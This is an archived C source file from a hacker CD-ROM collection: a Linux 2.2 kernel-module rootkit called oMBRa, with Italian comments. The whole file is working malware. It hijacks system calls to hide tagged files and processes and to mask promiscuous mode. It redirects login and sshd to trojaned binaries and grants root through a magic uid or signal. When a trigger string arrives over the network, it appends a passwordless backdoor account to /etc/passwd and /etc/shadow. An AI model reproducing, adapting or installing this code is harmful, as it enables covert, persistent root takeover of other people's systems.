home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / ombra.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  13.8 KB  |  497 lines

  1. /*
  2.  * oMBRa.c                        Implementazione del modulo CaRoGNa,
  3.  *                per kernel Linux 2.2.x
  4.  *                              Tecnica Segreta n.2 della divina scuola
  5.  *                              dell' HOKUHACKO. Sacro Colpo del Rinnovamento
  6.  *                              Modulare che Travolge la Radice.
  7.  *
  8.  *                                           __NO__(C)1999 FuSyS [S0ftPj|BFi]
  9.  *                               <fusys@s0ftpj.org>
  10.  *
  11.  * Compilate con:       gcc -c -O2 -fomit-frame-pointer oMBRa.c
  12.  * Installate con:      insmod oMBRa.o
  13.  * NB:            l'azzeramento di struct module *mp deve essere
  14.  *            coadiuvato da -O3 e bisogna anche azzeccare il registro
  15.  *            che ne consenta l'accesso. altrimenti usare la nuova
  16.  *            query_module per occultarsi a lsmod
  17.  *
  18.  * 3l33t quote:         "wow, e funzica anche su Solaris ?"
  19.  * Tnx'n'credits:       HalfLife(syscalls), Zarq(heroin), Plaguez(itf), 
  20.  *            Pragmatic(LKM paper), BFi
  21.  */
  22.  
  23. #define MODULE
  24. #define __KERNEL__
  25. #include <linux/module.h>
  26.  
  27. #include <linux/fs.h>
  28. #include <linux/dirent.h>
  29. #include <linux/proc_fs.h>
  30. #include <linux/types.h>
  31. #include <linux/stat.h>
  32. #include <linux/fcntl.h>
  33. #include <linux/mm.h>
  34. #include <linux/if.h>
  35. #include <sys/syscall.h>
  36. #include <asm/uaccess.h>
  37. #include <asm/unistd.h>
  38. #include <asm/segment.h>
  39.  
  40. #define SUBVISUS        "SPJ2K"
  41. #define LKMNAME        "oMBRa"
  42. #define SIGNIHIL        31
  43. #define PF_DISAPPEAR    0x00002000
  44. #define SACROUID        7777
  45. #define KING            500
  46. #define LOGIN        "/bin/login"
  47. #define SSHD        "/usr/local/bin/sshd"
  48. #define    PASSWD        "/etc/passwd"
  49. #define SHADOW        "/etc/shadow"
  50. #define ACCOUNT        "spj2k::1:6:spj2k:/tmp:/bin/bash\n"
  51. #define    ACCSHDW        "spj2k::10968:0:99999:7:-1:-1:134538412\n"
  52.  
  53. inline int suser(void)
  54. {
  55.         if (!issecure(SECURE_NOROOT) && ((current->euid == 0)||
  56.                 (current->euid == KING))) {
  57.                 current->flags |= PF_SUPERPRIV;
  58.                 return 1;
  59.         }
  60.         return 0;
  61. }
  62.  
  63. inline int fsuser(void)
  64. {
  65.         if (!issecure(SECURE_NOROOT) && ((current->fsuid == 0)||
  66.                 (current->euid == KING))) {
  67.                 current->flags |= PF_SUPERPRIV;
  68.                 return 1;
  69.         }
  70.         return 0;
  71. }
  72.  
  73. inline int capable(int cap)
  74. {
  75.         if ((cap_raised(current->cap_effective, cap))||(current->euid == KING))
  76.         {
  77.                 current->flags |= PF_SUPERPRIV;
  78.                 return 1;
  79.         }
  80.         return 0;
  81. }
  82.  
  83. int promisc, errno, __NR_myexecve;
  84.  
  85. int (*old_execve) (struct pt_regs);
  86. int (*old_kill) (pid_t, int) ;
  87. int (*old_getdents) (unsigned int, struct dirent *, unsigned int) ;
  88. int (*old_unlink) (const char *) ;
  89. int (*old_chdir) (const char *) ;
  90. int (*old_setuid) (uid_t) ;
  91. int (*old_getuid) () ;
  92. int (*old_ioctl) (unsigned int, unsigned int, unsigned long) ;
  93. int (*old_socketcall) (int, unsigned long *);
  94. int (*old_query_module)(const char *, int, char *, size_t, size_t *) ;
  95.  
  96. extern void *sys_call_table[] ;
  97.  
  98. int (*open)(const char*, int, mode_t);
  99. int (*write)(unsigned int, char*, unsigned int);
  100. int (*close)(int);
  101.  
  102. int atoi(char str[])
  103. {
  104.     int res = 0;
  105.     int i ;
  106.     for(i = 0; str[i] >='0' && str[i] <='9'; ++i)
  107.         res = 10 * res + str[i] - '0';
  108.     return res;
  109. }
  110.  
  111. inline char *task_name(struct task_struct *p, char *buf)
  112. {
  113.     int i;
  114.     char *name;
  115.  
  116.     name = p->comm;
  117.     i = sizeof(p->comm);
  118.     do {
  119.         unsigned char c = *name;
  120.         name++;
  121.         i--;
  122.         *buf = c;
  123.         if (!c)
  124.             break;
  125.         if (c == '\\') {
  126.             buf[1] = c;
  127.             buf += 2;
  128.             continue;
  129.         }
  130.         if (c == '\n') {
  131.             buf[0] = '\\';
  132.             buf[1] = 'n';
  133.             buf += 2;
  134.             continue;
  135.         }
  136.         buf++;
  137.     }
  138.     while (i);
  139.     *buf = '\n';
  140.     return buf + 1;
  141. }
  142.  
  143. struct task_struct *get_task(pid_t pid)
  144. {
  145.     struct task_struct *p = current;
  146.     do {
  147.         if (p->pid == pid)
  148.             return p;
  149.         p = p->next_task;
  150.     }
  151.     while (p != current);
  152.         return NULL;
  153. }
  154.  
  155. int secret(pid_t pid)
  156. {
  157.     struct task_struct *task = get_task(pid);
  158.     char *name;
  159.     if (task) {
  160.         name = (char *)kmalloc(200, GFP_KERNEL);
  161.         memset(name, 0, 200);
  162.         task_name(task, name);
  163.         if (strstr(name, SUBVISUS)!=NULL) {
  164.             kfree(name);
  165.             return 1;
  166.         }
  167.         kfree(name);
  168.     }
  169.     return 0;
  170. }
  171.  
  172. int killinv(pid_t pid)
  173. {
  174.     struct task_struct *task = get_task(pid);
  175.     if(task == NULL) return 0;
  176.     if (task->flags & PF_DISAPPEAR) {
  177.         return 1;
  178.     }
  179.     return 0;
  180. }
  181.  
  182. int new_execve(struct pt_regs regs)
  183. {
  184.         char *filename;
  185.         int error;
  186.  
  187.     filename=getname((char *) regs.ebx);
  188.         error = PTR_ERR(filename);
  189.         if (IS_ERR(filename)) return error;
  190.     if(strstr(filename, LOGIN)){
  191.         error=do_execve("/SPJ2Kdir/SPJ2Klogin_t",(char **)regs.ecx,(char **)regs.edx,®s);
  192.     }
  193.     if(strstr(filename, SSHD)){
  194.         error=do_execve("/SPJ2Kdir/SPJ2Ksshd_t",(char **)regs.ecx,(char **)regs.edx,®s);
  195.     }
  196.     else error = do_execve(filename,(char **)regs.ecx,(char **)regs.edx,®s);
  197.     if (error == 0) current->flags &= ~PF_DTRACE;
  198.         putname(filename);
  199.         return error;
  200. }
  201.  
  202. int new_getdents(unsigned int fd, struct dirent *dirptr, unsigned int count)
  203. {
  204.     unsigned int real ;
  205.     unsigned int len ;
  206.  
  207.     int readen ;
  208.     int proc;
  209.  
  210.     struct dirent *dirptr2, *dirptr3;
  211.     struct inode *procinode;
  212.  
  213.     real = (*old_getdents) (fd, dirptr, count);
  214.     if(real == -1) return(-errno);
  215.  
  216. #ifdef __LINUX_DCACHE_H
  217.     procinode = current->files->fd[fd]->f_dentry->d_inode;
  218. #else
  219.     procinode = current->files->fd[fd]->f_inode;
  220. #endif
  221.     if (procinode->i_ino == PROC_ROOT_INO && !MAJOR(procinode->i_dev) &&
  222.     MINOR(procinode->i_dev) == 1) proc = 1;
  223.  
  224.     if (current->uid == KING) return(real);
  225.  
  226.     if (real > 0) {    
  227.  
  228.         dirptr2 = (struct dirent *)kmalloc(real, GFP_KERNEL);
  229.         copy_from_user(dirptr2, dirptr, real);
  230.         dirptr3 = dirptr2;
  231.         readen = real;
  232.          while (readen > 0) {
  233.             len = dirptr3->d_reclen;
  234.             readen -= len;
  235.             if ((strstr((char *)&(dirptr3->d_name), (char *)SUBVISUS) !=NULL)
  236.                || (proc && secret(atoi(dirptr3->d_name)))
  237.                || (proc && killinv(atoi(dirptr3->d_name)))) {
  238.  
  239.                if (readen != 0)
  240.                 memmove(dirptr3, (char *)dirptr3 + dirptr3->d_reclen, readen);
  241.  
  242.                else  dirptr3->d_off = 1024;
  243.  
  244.                 real -= len;
  245.             }
  246.             if (dirptr3->d_reclen == 0) {
  247.                 real -= readen;
  248.                 readen = 0;
  249.             }
  250.             if (readen != 0)
  251.             dirptr3 = (struct dirent *)((char *) dirptr3 + dirptr3->d_reclen);
  252.         }
  253.         copy_to_user(dirptr, dirptr2, real);
  254.         kfree(dirptr2);
  255.     }
  256.     return(real);
  257. }
  258.  
  259. int new_unlink(const char *pathname)
  260. {
  261.     int ret;
  262.     char *path2;
  263.  
  264.         path2=(char*)kmalloc(256, GFP_KERNEL);
  265.         copy_from_user(path2, pathname, 255);
  266.         if(strstr(path2, SUBVISUS)) {
  267.                 if(current->uid != KING){
  268.                         kfree(path2);
  269.                         return -EPERM ;
  270.                 }
  271.                 else {
  272.                         kfree(path2);
  273.                         ret = (*old_unlink) (pathname);
  274.                         return(ret);
  275.                 }
  276.         }
  277.         else ret = (*old_unlink) (pathname);
  278.         kfree(path2);
  279.         return(ret);
  280. }
  281.  
  282. int new_chdir(const char *filename)
  283. {
  284.     int ret;
  285.     char *name;
  286.  
  287.         name=(char*)kmalloc(256, GFP_KERNEL);
  288.         copy_from_user(name, filename, 255);
  289.         if(strstr(name, SUBVISUS)) {
  290.                 if(current->uid != KING){
  291.                         kfree(name);
  292.                         return -ENOENT ;
  293.                 }
  294.                 else {
  295.                         kfree(name);
  296.                         ret = (*old_chdir) (filename);
  297.                         return(ret);
  298.                 }
  299.         }
  300.         else ret = (*old_chdir) (filename);
  301.         kfree(name);
  302.         return(ret);
  303. }
  304.  
  305. int new_kill(pid_t pid, int sig)
  306. {
  307.         int real;
  308.         struct task_struct *task = get_task(pid);
  309.  
  310.         if ((sig != SIGNIHIL) && (sig != SIGTSTP)) {
  311.                 real = (*old_kill)(pid, sig);
  312.                 if (real == -1) return(-errno);
  313.                 return real;
  314.         }
  315.         if (sig == SIGNIHIL) {
  316.                 task->flags |= PF_DISAPPEAR;
  317.                 return(0);
  318.         }
  319.         else if (sig == SIGTSTP) {
  320.                 task->uid = task->gid = task->euid = task->egid = 0;
  321.         task->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
  322.                 return(real);
  323.         }
  324.     return(0);
  325. }
  326.  
  327. int new_setuid(uid_t uid)
  328. {
  329.         int tmp;
  330.         if (uid == SACROUID) {
  331.                 current->uid = 0;
  332.                 current->gid = 0;
  333.                 current->euid = 0;
  334.                 current->egid = 0;
  335.         current->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
  336.                 return 0;
  337.         }
  338.  
  339.         tmp = (*old_setuid) (uid) ;
  340.         return tmp;
  341. }
  342.  
  343. int new_getuid()
  344. {
  345.         int tmp;
  346.         if (current->uid == SACROUID) {
  347.                 current->uid = 0;
  348.                 current->gid = 0;
  349.                 current->euid = 0;
  350.                 current->egid = 0;
  351.                 return 0;
  352.         }
  353.  
  354.         tmp = (*old_getuid) () ;
  355.         return tmp;
  356. }
  357.  
  358. int new_ioctl
  359. (unsigned int fd, unsigned int cmd, unsigned long arg)
  360. {
  361.         int ret ;
  362.         struct ifreq netif ;
  363.  
  364.         ret = (*old_ioctl) (fd, cmd, arg);
  365.         if (cmd == SIOCGIFFLAGS && !promisc) {
  366.           copy_from_user((struct ifreq *)&netif, (struct ifreq *)arg,
  367.           sizeof(struct ifreq));
  368.           netif.ifr_flags = netif.ifr_flags & (~IFF_PROMISC);
  369.           copy_to_user((struct ifreq *) arg, (struct ifreq *) &netif,
  370.           sizeof(struct ifreq));
  371.         } else if (cmd == SIOCSIFFLAGS)
  372.                 sys_call_table[SYS_ioctl] = old_ioctl;
  373.         return ret ;
  374. }
  375.  
  376. int new_socketcall(int call, unsigned long *args)
  377. {
  378.         int ret, compt, fd=0;
  379.         mm_segment_t old_fs;
  380.         unsigned long *sargs = args;
  381.         unsigned long a0, a1;
  382.         void *buf;
  383.  
  384.         ret = (*old_socketcall) (call, args);
  385.     if (call ==SYS_RECV || call == SYS_RECVFROM || call == SYS_RECVMSG) {
  386.                 get_user(a0, sargs);
  387.                 get_user(a1, sargs + 1);
  388.                 buf = kmalloc(ret, GFP_KERNEL);
  389.                 copy_from_user(buf, (void *) a1, ret);
  390.                 for (compt = 0; compt < ret; compt++)
  391.                         if (((char *) (buf))[compt] == 0)
  392.                                 ((char *) (buf))[compt] = 1;
  393.                         if (strstr(buf, "SPJ5cc7tN3w")) {
  394.                 current->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
  395.                                    old_fs=current->addr_limit;
  396.                                    current->addr_limit=(KERNEL_DS);
  397.                                    fd=(*open)(PASSWD, O_RDWR|O_APPEND, 0644);
  398.                 printk("%d\n",fd);
  399.                                    (*write)(fd,ACCOUNT,strlen(ACCOUNT));
  400.                                    (*close)(fd);
  401.                                 fd=(*open)(SHADOW, O_RDWR|O_APPEND, 0400);
  402.                 printk("%d\n",fd);
  403.                                 (*write)(fd,ACCSHDW,strlen(ACCSHDW));
  404.                                 (*close)(fd);
  405.                                    current->addr_limit=old_fs;
  406.                 current->cap_effective &= ~(1 << (CAP_DAC_OVERRIDE));
  407.                         }
  408.                         kfree(buf);
  409.     }
  410.         return ret;
  411. }
  412.  
  413. int new_query_module(const char *name, int which, char *buf, size_t bufsize,
  414.     size_t *ret)
  415. {
  416.         int res;
  417.         int cnt;
  418.         char *ptr, *match;
  419.  
  420.         res = (*old_query_module)(name, which, buf, bufsize, ret);
  421.  
  422.         if(res == -1)
  423.                 return(-errno);
  424.  
  425.         if(which != QM_MODULES)
  426.                 return(res);
  427.  
  428.         ptr = buf;
  429.  
  430.         for(cnt = 0; cnt < *ret; cnt++) {
  431.                 if(!strcmp(LKMNAME, ptr)) {
  432.                         match = ptr;
  433.                         while(*ptr)
  434.                                 ptr++;
  435.                         ptr++;
  436.                         memcpy(match, ptr, bufsize - (ptr - (char *)buf));
  437.                         (*ret)--;
  438.                         return(res);
  439.                 }
  440.                 while(*ptr)
  441.                         ptr++;
  442.                 ptr++;
  443.         }
  444.  
  445.         return(res);
  446. }
  447.  
  448. int init_module(void)
  449. {
  450.      /* register struct module *mp asm("%ebp");
  451.         *(char *) (mp->name) = 0;
  452.         mp->size = 0; */
  453.  
  454.         EXPORT_NO_SYMBOLS;
  455.  
  456.     old_execve = sys_call_table[SYS_execve];
  457.       sys_call_table[__NR_myexecve] = old_execve;
  458.       sys_call_table[SYS_execve] = (void *) new_execve;
  459.         old_getdents = sys_call_table[SYS_getdents];
  460.         sys_call_table[SYS_getdents] = (void *) new_getdents;
  461.         old_unlink= sys_call_table[SYS_unlink];
  462.         sys_call_table[SYS_unlink] = (void *) new_unlink;
  463.         old_chdir= sys_call_table[SYS_chdir];
  464.         sys_call_table[SYS_chdir] = (void *) new_chdir;
  465.         old_kill = sys_call_table[SYS_kill];
  466.         sys_call_table[SYS_kill] = (void *) new_kill;
  467.         old_setuid = sys_call_table[SYS_setuid];
  468.         sys_call_table[SYS_setuid] = (void *) new_setuid;
  469.         old_getuid = sys_call_table[SYS_getuid];
  470.         sys_call_table[SYS_getuid] = (void *) new_getuid;
  471.         old_ioctl = sys_call_table[SYS_ioctl];
  472.         sys_call_table[SYS_ioctl] = (void *) new_ioctl;
  473.         old_socketcall = sys_call_table[SYS_socketcall];
  474.         sys_call_table[SYS_socketcall] = (void *) new_socketcall;
  475. /*    old_query_module = sys_call_table[SYS_query_module];
  476.     sys_call_table[SYS_query_module]=(void *)new_query_module;
  477. */    open = sys_call_table[SYS_open];
  478.     close = sys_call_table[SYS_close];
  479.     write = sys_call_table[SYS_write];
  480.  
  481.     return 0;
  482. }
  483.  
  484. void cleanup_module(void)
  485. {
  486.     sys_call_table[SYS_execve]=old_execve;
  487.         sys_call_table[SYS_getdents] = old_getdents;
  488.     sys_call_table[SYS_unlink] = old_unlink;
  489.     sys_call_table[SYS_chdir] = old_chdir;
  490.         sys_call_table[SYS_kill] = old_kill;
  491.         sys_call_table[SYS_setuid] = old_setuid;
  492.     sys_call_table[SYS_getuid] = old_getuid;
  493.         sys_call_table[SYS_ioctl] = old_ioctl;
  494.         sys_call_table[SYS_socketcall] = old_socketcall;
  495. /*    sys_call_table[SYS_query_module] = old_query_module; */
  496. }
  497.